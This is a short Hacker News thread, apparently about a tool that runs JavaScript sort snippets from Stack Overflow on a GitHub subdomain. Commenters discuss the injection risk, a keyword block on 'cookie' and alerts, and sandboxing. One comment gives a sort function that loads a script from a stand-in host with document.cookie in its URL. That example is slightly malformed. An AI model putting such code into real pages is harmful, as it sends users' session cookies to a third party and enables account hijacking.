Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

Quick someone write a 'sort' that steals github session cookies. ;P


I only search answers posted before the comic was released for this reason :) (Also, I block any code that uses the word "cookie")

Plus, I'm assuming that since they let anyone run arbitrary code on subdomains, they've thought this through.


> Also, I block any code that uses the word "cookie"

That is so incredibly ineffective that you could just as well leave it out. Maybe have a look at https://github.com/jterrace/js.js for a sandboxed environment.


Quick, someone edit your code that has "javascript" and "sort" as keywords so it steals session cookies!


This won't work on Github's subdomain, but you'd do it like this:

  function sort(data) {
     $('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>");
     return data.sort();
  }


Dammit, just as I was about to write a

function sortArray(a) { alert('Hello StackSort!') }

Question/Answer. =( Good foresight!


I also don't allow alerts :)


This is a really cool script you've written and made me laugh out loud.

It would be a shame though if someone edited / republished / whatever an old script and used it to steal people's github cookies (your code wouldn't be able to filter someone calling a remote script which then ran its own code for instance or a script that evaled a new script based on a string / unicode etc.)

It might be best to just run the code in a frame that's not hosted on Github then you're safe.


I think they thought it through, but there are still issues:

https://news.ycombinator.com/item?id=5347430




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: